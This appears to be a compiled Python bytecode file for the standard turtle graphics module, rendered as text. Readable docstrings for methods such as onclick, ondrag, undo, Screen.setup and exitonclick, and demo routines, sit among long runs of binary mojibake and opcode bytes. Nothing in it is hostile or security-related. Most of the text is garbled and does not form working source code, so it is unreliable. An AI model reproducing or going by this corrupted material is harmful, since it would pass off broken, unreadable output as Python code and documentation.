N)rƒrÂrÚs r°rEzRawTurtle.get_polyÍ s"€ð �:‰:Ð !ܘŸ™Ó$Ð $ð "rÇcó—|jS)a˜Return the TurtleScreen object, the turtle is drawing on. No argument. Return the TurtleScreen object, the turtle is drawing on. So TurtleScreen-methods can be called for that object. Example (for a Turtle instance named turtle): >>> ts = turtle.getscreen() >>> ts >>> ts.bgcolor("pink") )r•rÚs r°rGzRawTurtle.getscreenÚ s€ð�{‰{ÐrÇcó—|S)aUReturn the Turtleobject itself. No argument. Only reasonable use: as a function to return the 'anonymous turtle': Example: >>> pet = getturtle() >>> pet.fd(50) >>> pet >>> turtles() [] rérÚs r°rIzRawTurtle.getturtleê s €ðˆ rÇcó8—|jj|«S)zDSet delay value which determines speed of turtle animation. )r•rr·s r°r¸zRawTurtle._delays€ð�{‰{× Ñ  Ó'Ð'rÇcóˆ—|jj|jj|||«|j «y)a¹Bind fun to mouse-click event on this turtle on canvas. Arguments: fun -- a function with two arguments, to which will be assigned the coordinates of the clicked point on the canvas. btn -- number of the mouse-button defaults to 1 (left mouse button). add -- True or False. If True, new binding will be added, otherwise it will replace a former binding. Example for the anonymous turtle, i. e. the procedural way: >>> def turn(x, y): ... left(360) ... >>> onclick(turn) # Now clicking into the turtle will turn it. >>> onclick(None) # event-binding will be removed N)r•ràr”r}r´rËs r°rSzRawTurtle.onclicks/€ð$ � ‰ ×јTŸ[™[×.Ñ.°°S¸#Ô>Ø � ‰ �rÇcóˆ—|jj|jj|||«|j «y)aÿBind fun to mouse-button-release event on this turtle on canvas. Arguments: fun -- a function with two arguments, to which will be assigned the coordinates of the clicked point on the canvas. btn -- number of the mouse-button defaults to 1 (left mouse button). Example (for a MyTurtle instance named joe): >>> class MyTurtle(Turtle): ... def glow(self,x,y): ... self.fillcolor("red") ... def unglow(self,x,y): ... self.fillcolor("") ... >>> joe = MyTurtle() >>> joe.onclick(joe.glow) >>> joe.onrelease(joe.unglow) Clicking on joe turns fillcolor red, unclicking turns it to transparent. N)r•rãr”r}r´rËs r°rUzRawTurtle.onreleases/€ð, � ‰ ×јtŸ{™{×0Ñ0°#°s¸CÔ@Ø � ‰ �rÇcóh—|jj|jj|||«y)a’Bind fun to mouse-move event on this turtle on canvas. Arguments: fun -- a function with two arguments, to which will be assigned the coordinates of the clicked point on the canvas. btn -- number of the mouse-button defaults to 1 (left mouse button). Every sequence of mouse-move-events on a turtle is preceded by a mouse-click event on that turtle. Example (for a Turtle instance named turtle): >>> turtle.ondrag(turtle.goto) Subsequently clicking and dragging a Turtle will move it across the screen thereby producing handdrawings (if pen is down). N)r•rær”r}rËs r°rTzRawTurtle.ondrag5s&€ð$ � ‰ ×јDŸK™K×-Ñ-¨s°C¸Õ=rÇcó—|j€y|dk(rB|\}}|j| |z|jz «|jj«}y|dk(r|d}|j |«y|dk(r|j |«y|dvr<|d}|j j|«|jj|«y|dk(r%|d}|j j|dd d ¬ «y|d k(rY|d}dx|_ |_ ||jvr7|j j|«|jj|«yy|d k(r4tj||d«|jj«yy) z2Does the main part of the work for undo() Nr÷rsrrÝ)rr=rÿrÉr´r•rýrW)rár÷rêrJr7rõr•r²rørÍr¥r…r†r2rW)rÍÚactionr;rãÚdegPAUÚdummyrÐr±s r°Ú_undozRawTurtle._undoJsk€ð �?‰?Ð "Ø Ø �UŠ?Ø ‰MˆE�6Ø �L‰L˜%˜ ™ t×'9Ñ'9Ñ9Ô :Ø—O‘O×'Ñ'Ó)‰EØ �wÒ Ø˜!‘WˆFØ �O‰O˜FÕ #Ø �tŠ^Ø �N‰N˜4Õ Ø �~Ñ %ؘ‘7ˆDØ �K‰K× Ñ  Ô %Ø �J‰J× Ñ ˜dÕ #Ø �xÒ Ø˜‘7ˆDØ �K‰K× !Ñ ! $Ð(>Ø')°2ð "õ 7à �{Ò "ؘ‘7ˆDØ.2Ð 2ˆDŒN˜Tœ^Ø�t—z‘zÑ!Ø— ‘ ×#Ñ# DÔ)Ø— ‘ ×!Ñ! $Õ'ð"ð�uŠ_Ü �H‰H�T˜4 ™7Ô #Ø �O‰O× Ñ Õ !ðrÇcóò—|j€y|jj«}|d}|dd}|dk(r/|r,|j«}|j|d|dd«|rŒ+yy|j||«y)a±undo (repeatedly) the last turtle action. No argument. undo (repeatedly) the last turtle action. Number of available undo actions is determined by the size of the undobuffer. Example (for a Turtle instance named turtle): >>> for i in range(4): ... turtle.fd(50); turtle.lt(80) ... >>> for i in range(8): ... turtle.undo() ... NrrÊr)rárJr)rÍr±rr;s r°ryzRawTurtle.undojsy€ð" �?‰?Ð "Ø Ø�‰×"Ñ"Ó$ˆØ�a‘ˆØ�A�BˆxˆØ �UŠ?ÙØ—x‘x“z�Ø— ‘ ˜4 ™7 D¨¨ HÔ-ôð �J‰J�v˜tÕ $rÇr×rÁrf)NNNN)Frv)FrQ)ÚArialr^rPr-);rírîrïrðr�r·r/rarirzrŽr6rÀr´r r±r«r›r0rtr9rlrmrorhrvrurnrÁrHrÃrÁrsrØr7r8ròrõr÷rcrCr2r?r=rÏr}r3r@rErGrIrFr¸rSrUrTrryrxrérÇr°r r Ø sU„ñð€Gà"ؘG‘}Ø $Ð%5Ñ 6ؘi™ó&òPò2,ò& -ò 1ò òAò!ó$/ò*(ò+ò +ð.¸5ò.°Dð.ÀTó.ò`&óPó6&?óP7ò.ó6%3òN1ó&%$òP OòNó" Kò$,òP+òZ;ò, óò83òj?òBó$0ò 0òò*ó()-òV ó-ò: "ò #ò %òò ð"€Fó(ó ó*ó2>ò*"ò@%ð:�JrÇr cóh—tj€t«t_tjS)z‡Return the singleton screen object. If none exists at the moment, create a new one and return it, else return the existing one.)r Ú_screenr€rérÇr°r r �s!€ô‡~�~ÐÜ ›ŒŒÜ �>‰>ÐrÇcód—eZdZdZdZedZd„Zededededfd„Zd „Z d „Z d „Z d „Z y) r€Nr*cót—tj€ht«xt_|_|jjtj«|jj |j «tj€°td}td}td}td}td}td}|jj||||«|jj«t_tj|tj«|j||||«yy)Nr|r„r…r†r‡rˆ)r€Ú_rootrhr*Ú_titler|Ú_destroyr4r·rprrr r/r')rÍr|r„r…r†r‡rˆs r°r/z_Screen.__init__›sã€Ü �=‰=Ð Ü).«Ð 0ŒGŒM˜DœJØ �J‰J× Ñ œWŸ^™^Ô ,Ø �J‰J× Ñ  §¡Ô /Ü �?‰?Ð "ܘ‘MˆEܘ(‘^ˆFܘ[Ñ)ˆIܘlÑ+ˆJܘ[Ñ)ˆIܘ[Ñ)ˆIØ �J‰J× "Ñ " 5¨&°)¸ZÔ HØ"Ÿj™j×3Ñ3Ó5ŒGŒOÜ × !Ñ ! $¬¯©Ô 8Ø �J‰J�u˜f i°Õ ;ð #rÇr|r„r‡rˆcóª—t|jd«sy|jj«}|jj«}t |t «rd|cxkrdkrnn||z}|€||z dz }t |t «rd|cxkrdkrnn||z}|€||z dz }|jj ||||«|j«y)a  Set the size and position of the main window. Arguments: width: as integer a size in pixels, as float a fraction of the screen. Default is 50% of screen. height: as integer the height in pixels, as float a fraction of the screen. Default is 75% of screen. startx: if positive, starting position in pixels from the left edge of the screen, if negative from the right edge Default, startx=None is to center window horizontally. starty: if positive, starting position in pixels from the top edge of the screen, if negative from the bottom edge Default, starty=None is to center window vertically. Examples (for a Screen instance named screen): >>> screen.setup (width=200, height=200, startx=0, starty=0) sets window to 200x200 pixels, in upper left of screen >>> screen.setup(width=.75, height=0.5, startx=None, starty=None) sets window to 75% of screen by 50% of screen and centers rwNrrÊr)Úhasattrrrr‚rÒr§rwr-)rÍr|r„rurvrÂÚshs r°r'z _Screen.setup¬s¼€ô2�t—z‘z >Ô2Ø Ø �Z‰Z× !Ñ !Ó #ˆØ �Z‰Z× "Ñ "Ó $ˆÜ �eœUÔ #¨¨U¬°a­Ø�u‘HˆEØ ˆ>ؘ5‘j AÑ%ˆFÜ �fœeÔ $¨¨fÔ)9¸Õ)9ؘ‘YˆFØ ˆ>ؘ6‘k QÑ&ˆFØ � ‰ ×Ñ  v¨v°vÔ>Ø � ‰ � rÇcóx—tj�tjj|«|t_y)aqSet title of turtle-window Argument: titlestring -- a string, to appear in the titlebar of the turtle graphics window. This is a method of Screen-class. Not available for TurtleScreen- objects. Example (for a Screen instance named screen): >>> screen.title("Welcome to the turtle-zoo!") N)r€rr*r)rÍÚ titlestrings r°r*z _Screen.titleÔs'€ô �=‰=Ð $Ü �M‰M× Ñ   Ô ,Ø$Œ�rÇcóΗ|j}|tjur,dt_dt_dt_dt_dt _|j«y)NF) rr€r rŒrr4r r½r{)rÍÚroots r°rz_Screen._destroyåsD€Ø�z‰zˆØ ”7—=‘=Ñ ØŒFŒKØ!ŒFŒNØ ŒGŒMØ"ŒGŒOØ %Œ ÔØ � ‰ �rÇcó$—|j«y)z~Shut the turtlegraphics window. Example (for a TurtleScreen instance named screen): >>> screen.bye() N)rrÚs r°rz _Screen.byeïs €ð � ‰ �rÇcó�‡—ˆfd„}‰j|«tdry t«y#t$rt d«YywxYw)alGo into mainloop until the mouse is clicked. No arguments. Bind bye() method to mouseclick on TurtleScreen. If "using_IDLE" - value in configuration dictionary is False (default value), enter mainloop. If IDLE with -n switch (no subprocess) is used, this value should be set to True in turtle.cfg. In this case IDLE's mainloop is active also for the client script. This is a method of the Screen-class and not available for TurtleScreen instances. Example (for a Screen instance named screen): >>> screen.exitonclick() có&•—‰j«y)z&Screen.bye() with two dummy-parametersN)r)rÅrÆrÍs €r°ÚexitGracefullyz+_Screen.exitonclick..exitGracefully s ø€à �H‰H�JrÇr—Nr)rSr·rÚAttributeErrorÚexit)rÍr's` r°rz_Screen.exitonclick÷sAø€ô& ð � ‰ �^Ô$Ü � Ò Ø ð Ü �JøÜò Ü �ŽGð ús£ .®AÁA) rírîrïrr4r·rr/r'r*rrrrérÇr°r€r€•sR„à €EØ€GØ �'‰]€Fò<ð"˜w™-°°X±Ø˜+Ñ&¨t°KÑ/@ó&òP%ò"òórÇr€có8—eZdZdZdZdZedededfd„Zy)r zÀRawTurtle auto-creating (scrolled) canvas. When a Turtle object is created or a function derived from some Turtle method is called a TurtleScreen object is automatically created. NrlrŒr�cóš—tj€t«t_tj |tj|||¬«y)N)rlrŒr�)r rr r r/)rÍrlrŒr�s r°r/zTurtle.__init__s;€ô �>‰>Ð !Ü#›XŒFŒNÜ×ј4¤§¡Ø!&Ø*8Ø#*ð õ ,rÇ)rírîrïrðrŒrr·r/rérÇr°r r s1„ñð €DØ€Gð˜G‘}Ø $Ð%5Ñ 6ؘi™ô ,rÇr cóf—i}tD]}d|z}t|«j||<Œ!tD]}d|z}t|«j||<Œ!t d|zd«5}t d„|D««}|j d«|ddD]6}|j d t|«z«|j d ||z«Œ8|d}|j d t|«z«|j d ||z«|j d «|j«ddd«y#1swYyxYw) a²Create and write docstring-dictionary to file. Optional argument: filename -- a string, used as filename default value is turtle_docstringdict Has to be called explicitly, (not used by the turtle-graphics classes) The docstring dictionary will be written to the Python script .py It is intended to serve as a template for translation of the docstrings into different languages. z_Screen.zTurtle.z%s.pyr’c3óTK—|] }|jd«dtvr|–—Œ"y­w)rŸrÊN)rÚ _alias_list)r®rÅs r°r¯z&write_docstringdict..As*èø€ð=¡˜AØŸ™ › a™´ Ñ;ô¡ùs‚&(zdocsdict = { Nrz%s : z """%s """, z """%s """ z} ) Ú_tg_screen_functionsr¦rðÚ_tg_turtle_functionsr rÉr}ÚreprÚclose)r©ÚdocsdictÚ methodnamer®rªrs r°r€r€+s €ð€Hç*ˆ ؘÑ#ˆÜ˜S› ×)Ñ)ˆ�Š ð+÷+ˆ ؘ Ñ"ˆÜ˜S› ×)Ñ)ˆ�Š ð+ô ˆg˜Ñ  Ô %¨Üñ=¡ó=ó=ˆà �‰Ð"Ô#ؘ˜“9ˆCØ �G‰G�Hœt C›yÑ(Ô )Ø �G‰GÐ-°¸± Ñ=Õ >ðð�2‰hˆØ �‰�œ4 ›9Ñ$Ô%Ø �‰Ð(¨8°C©=Ñ8Ô9Ø �‰�ŒØ �‰Œ ÷ &× %Ñ %ús Á"BÜ×"Ñ"×.Ô.Ø× Ñ  2 e§j¡j \Ð!2Ö3ØÜ"Ð#?ÀÇÁÓLÐLð.ð�D—I‘I˜iÓ(Ð)¨Ð+€Iä ˆx‹=˜)Ð #Ð#rÇcóœ—ddl}|€ytd}|jd|zd«}|jd|z«}|j d|«}|S)z>>>>>)ÚobjÚinitr Ú paramslistÚargslist)ÚgetattrrRr¥Ú __func_bodyÚformatr Úglobalsrð) Ú functionsrÄrerfÚ docreviser4rÚpl1Úpl2Údefstrs r°Ú_make_global_funcsrrºs�€Ûˆ ܘ˜jÓ)ˆÜ! &Ó)‰ˆˆSØ �"Š9Ü �(˜C Ô %Ø Ü×#Ñ#¨°$¸ZØ/2¸Sð$óBˆä ˆV”W“YÔÙ(1°&·.±.Ó(AŒ‹ �*ÑÕ%ñ rÇzTurtle._screenzScreen()z Turtle._penzTurtle()Ú__main__cóB—t«r t«yt«yrÁ)rOr^rVrérÇr°Ú switchpenruÏs€Ü Œ8Ü �Dä �DrÇcóÊ—t«td«t«td«t «t d«t d«D]p}|dk(r t«t d«D]}td«td«Œ|dk(rtd«t«t«td «t «Œrt d «td «td «t«td«td«td«td«td «t «tdd «tdd «td«t d«D].}td«td«td«td«Œ0td«t«t d«D].}td«td«td«td«Œ0t«y)zDemo of old turtle.py - moduleTédr†rrer”éZÚmaroonrErÊrŽFé´Ú startstarträÚredr`N)rar+r{r1r>r|r r2rDrQr:r?r`r})r rs r°Údemo1r}ÕsJ€ä ŒÜˆtŒ Ü ŒÜ�Œ Ü Œä ˆaŒÜ�q–ˆAØ�AŠvÜ” ܘ1–X�ܘ” Ü�R•ðð�AŠvÜ�h”Ü” Ü ŒDÜ �BŒKÜ �Fðô ˆaŒÜ ˆgŒäˆuŒ Ü ŒÜ ˆbŒ Ü�Œ Ü ˆbŒ Ü�Œ Ü ˆcŒ Ü Œä ˆl˜AÔÜ ˆg�qÔÜ ˆeŒ ä�q–ˆAÜ �BŒKÜ �ŒHÜ �BŒKÜ �"�Ið ô ˆtŒ ÜŒ Ü�q–ˆAÜ �BŒKÜ �ŒHÜ �BŒKÜ �"�Ið ô � rÇcó� —td«t«td«tt dd««t dd«dz }t d«td«D]}t«t|d«Œtd«t«rt«t«rŒt«td«td «d}t!d «td«td «td d «D]€}|dkDr t#«t%d d|zz dd|z«td«D]}t'|«td«Œt)«|dz }td«tt«dzdz«Œ‚td«t+«t'd«t d«t-«t/dd«td«t#«td«D]/}tdd«t d«t'd«t d«Œ1t)«td«t+«t'd«t-«t1d«t3«}|j5d«t7«}|j5d«|j1d«|j«|j9d«|jd«|j;«|j=dd«|jd«|j?«|jd«|j/dd«|jd«|jd«tt |««d}|j |«dkDrŸ|j'd«|jd «|j|j |««|j'd«|d!zdk(r*|jA«|jA«t«|dz }|j |«dkDrŒŸ|jd"d#d$¬%«|j!d&«|j!d«d'„}tCjDd«t«r+|j«|j«t«rŒ+|j'd«|jd(d)¬*«|jG|d«y+),zDemo of some new features.rÊr†rrrxér‹zwait a moment...r¤ÚgreenrzrWrVééxé éFrEr|Úyellowreé2r”rCié(rfÚblueÚorangerg @g333333ã?r”zCAUGHT! )rrVÚboldr`)rÇrÊrŽcó,—t«t«yrÁ)rr)rÑrÒs r°Úbabazdemo2..baba`s €Ü ŒMÜ �ErÇz Click me!)ÚCourierrƒrŠ)rÇN)$rqrrrZrerwr<rcr rur5r}rzryrarRrrXr2rBrAr?r^rVr:rlrIrbr rQr{rJr>rsÚtimeÚsleeprS)r!rÚlaenger Útrir”rLrŒs r°Údemo2r’ st€ä ˆaŒÜ ŒÜ�Œ Ü”7˜1˜a“=Ô!ܘ!˜Q“ Ñ#ˆÜ ˆ2ŒÜ�r–ˆAÜ ŒKÜ �6˜2Õ ðô Ð Ô!ÜÔ!Ü ŒFô Õ!ä ŒÜ ˆ2ŒÜ�#ŒØˆÜ�ÔÜ�Œ Ü ˆ3ŒÜ�r˜2–ˆAØ�1ŠuÜ” ܘ#˜b ™d™( A r¨!¡tÔ,ܘ1–X�Ü�6” Ü�3•ðô ŒJØ �b‰LˆFÜ ˆrŒFÜ ”5“7˜1‘9˜b‘.Õ !ðô ˆ3ŒÜ ŒÜ ˆ2ŒÜ ˆ2ŒÜ ŒÜ ˆe�HÔÜ ˆaŒÜŒ Ü�q–ˆAÜ �2�rŒNÜ ˆrŒFÜ ˆrŒFÜ ˆr�Fð ô Œ Ü ˆ2ŒÜ ŒÜ ˆ2ŒÜ ŒÜ ˆhŒä‹kˆØ �‰�vÔÜ“ˆØ×ј&Ô!Ø� ‰ �XÔØ� ‰ ŒØ� ‰ �BŒØ� ‰ �QŒØ� ‰ Œ Ø� ‰ �C˜ÔØ� ‰ �"Œ Ø� ‰ Œ Ø� ‰ �QŒØ� ‰ �V˜HÔ%Ø�‰�qÔØ � ‰ �!Œ Ü”7˜6“?Ô#؈Ø�l‰l˜6Ó" QÒ&Ø �I‰I�cŒNØ �I‰I�cŒNØ �N‰N˜3Ÿ;™; vÓ.Ô /Ø �F‰F�1ŒIØ�r‰z˜QŠØ— ‘ ”Ø— ‘ ” Ü” Ø �Q‰JˆEð�l‰l˜6Ó" QÓ&ð � ‰ �*Ð#8Àˆ ÔHØ � ‰ �WÔØ � ‰ �UÔò ô � ‰ �1Œ äÔ!Ø �H‰HŒJØ �K‰KŒMô Õ!ð �‰ˆrŒ Ø � ‰ �-Ð(?ˆ ÔAØ � ‰ �D˜!ÕrÇ)ré)Úturtle_docstringdict)FrðÚtkinterr-rúrÝrŽr@r€r©Úos.pathrrrÚcopyrrÚ _tg_classesr/r0Ú _tg_utilitiesÚ__all__r.r·r±r¾r¶r¥rÂrrörr rr.rr2rjrhÚobjectr„r‚r1rr@r rÚr2rxr r r r€r rr€r:Ú _LANGUAGEÚ ImportErrorrRr_rcrjrrrr�rírur}r’rrérÇr°Úr�sšðñ0KóZÛ Û Û ÛÛ Ûç'Ñ'ÝÝ òI€ ò)Ðò !Ðð'¨Ð/€ à Ð-Ñ -Ð0DÑ DØ ñ Ø(˜>ñ *€ò,€ ð ˆ�#ð Ø�4ð à�cð ð �cð ð �Tð  ð �Tð  ð � ð  ð �Sð ð �ð ð ˜$ð ð �ð ð �Wð ð �gð ð �zð ð �Dð ð �Ið ð ˜ð! ð""Ø)Øò' €ò,ò:ð<1ÙˆtÔô *$ˆEô*$òjòð1ð ó.ô*a#�R—X‘Xôa#ñF� §¡¨IÔ6ô)ˆB�E‰Eô)ð0 �‰€ôB5�vôB5ôT  �)ô ô˜)ôô ,1ˆFô,1ô^"6ˆfô"6ôLiÐ#ôiôVC�ôCôLRˆ6ôRôjL�6ôLô>o��jôoðb% €òô~ˆlô~ô@,ˆYô,ð( €ó òD3ð" �Ñ € ðMØ�IÒÙ˜ Ô"ò"$òH ò ð € ò BñÐ'¨Ø# ZÐ1BôDáÐ'¨Ø  *Ð.?ôAð€à ˆzÒòò 2òjañF „GÙ „GÙ…MðCøðWwò1Ù Ð /×0ð1ûð@tò1Ù Ð $ iÖ0ØòMÙ Ð HØBKñ LöMðMús*ÂG6Æ H Ç6 HÈHÈ H,ÈH,È+H,